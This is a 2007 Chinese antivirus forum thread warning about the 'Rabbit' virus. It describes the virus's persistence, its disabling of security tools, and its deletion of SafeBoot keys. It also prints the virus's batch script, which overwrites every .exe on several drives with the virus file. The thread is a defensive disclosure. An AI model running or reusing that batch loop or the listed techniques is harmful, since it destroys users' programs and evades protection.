反黑先锋
版主
RUNWAY
积分 2901
发帖 2857
注册 2006-6-17
|
#1 （转贴）警惕恶性病毒“兔宝宝”！
baohe “病毒运行后关闭Tiny的Activity Monitor、SSM、IceSword等窗口
msexch400.dll插入winlogon.exe进程且不能强制卸除
注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\分支添加启动项:
{4bf41072-b2b1-21c1-b5c1-0305f4155515} :
指向C:\WINDOWS\system32\JK.exe
并删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot
系统文件以外（包括非系统分区）的.exe文件均被替换为260K大小的病毒文件（文件名还是原来正常.exe的文件名），图标变为“兔宝宝”。即使是“卡巴斯基”或“瑞星”文件夹中的.exe也不例外。
Tiny用户，即使预先设置了相关文件保护规则，病毒依然可以突破Tiny的FD规则，将那些受Tiny保护的.exe文件替换成260K的病毒文件。这是第一次遇到可以突破Tiny 文件保护的病毒。
此毒在系统分区以外的分区中，只要发现一个DLL文件（如：abc.dll），病毒即刻创建一个同名的、260K的.exe（abc.exe），图标也是“兔宝宝”。
中招后，用户就别指望扫什么劳什子日志求助了。运行任何.exe（当然包括SRENG等），你只能见到一闪而过的命令提示符窗口（实际运行的是那个260K的病毒体）。 ”
 希望大家警惕 目前所有扫毒软件都还无法查杀 微点主动防御拦截处理成功 样本我已上报卡巴和微点。
RABBIT.EXE >
cmd /c C:\WINDOWS\system32\love.bat：
FOR %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
cd C:\Program Files
dir *.exe /s /b >>c:\windows\msconfig1.inf
FOR /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
FOR /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
C:\WINDOWS\SYSTEM32\JK.EXE
C:\WINDOWS\SYSTEM32\LOVERABBIT.EXE
C:\WINDOWS\SYSTEM32\RABBIT.EXE
[ Last edited by 反黑先锋 on 2007-4-9 at 21:05 ]
附件
1:
sshot-119.png
(2007-4-9 11:46, 6.22 K,下载次数： 62)
附件
2:
sshot-120.png
(2007-4-9 11:46, 27.51 K,下载次数： 34)
附件
3:
sshot-121.png
(2007-4-9 11:46, 20.69 K,下载次数： 47)
附件
4:
sshot-122.png
(2007-4-9 11:47, 20.58 K,下载次数： 50)
附件
5:
sshot-123.png
(2007-4-9 11:47, 22.56 K,下载次数： 58)
附件
6:
sshot-124.png
(2007-4-9 11:47, 20.29 K,下载次数： 54)
附件
7:
sshot-125.png
(2007-4-9 12:07, 21.46 K,下载次数： 32)
| |
※ ※ ※ 本文纯属【反黑先锋】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
荣先祥藏头诗《赞东方微点》
东风欣传好消息
方策独步世所稀
微妙玄机嵌主动
点睛灭毒堪神笔
 |
|
|
2007-4-9 11:46 |
|
反黑先锋
版主
RUNWAY
积分 2901
发帖 2857
注册 2006-6-17
|
|
|
2007-4-9 12:35 |
|
微点专家
版主
Weizi
积分 11554
发帖 11458
注册 2006-8-27
来自 贵阳
|
#3
反黑做事永远都是那么的用心
| |
※ ※ ※ 本文纯属【微点专家】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
做个性的自己 |
|
|
|
2007-4-9 13:44 |
|
2002lihong
新手上路
积分 4
发帖 4
注册 2007-3-2
|
#4
恶心病毒越来越多，还是用微点好。
| |
※ ※ ※ 本文纯属【2002lihong】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
|
|
|
2007-4-9 17:30 |
|
jaber
版主
使用与技巧区版主
积分 2861
发帖 2835
注册 2006-6-6
|
#5
每次你的速度总是那么快！啥时候你上个Q好不？
| |
※ ※ ※ 本文纯属【jaber】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
|
|
|
2007-4-9 18:29 |
|
反黑先锋
版主
RUNWAY
积分 2901
发帖 2857
注册 2006-6-17
|
|
|
2007-4-9 20:30 |
|
wkwx
中级用户
新手上路
积分 341
发帖 341
注册 2005-12-4
|
#7
闲得骨头疼了
| |
※ ※ ※ 本文纯属【wkwx】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
|
|
|
2007-4-9 21:38 |
|
408983504
银牌会员
此用户已被禁言
积分 1271
发帖 1238
注册 2007-1-6
来自 广东
|
#8
牛人啊!!!
| |
※ ※ ※ 本文纯属【408983504】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
三用户版续费真TM的便宜啊！ |
|
|
|
2007-4-9 21:42 |
|
jaber
版主
使用与技巧区版主
积分 2861
发帖 2835
注册 2006-6-6
|
|
|
2007-4-9 21:50 |
|
反黑先锋
版主
RUNWAY
积分 2901
发帖 2857
注册 2006-6-17
|
|
|
2007-4-9 22:02 |
|
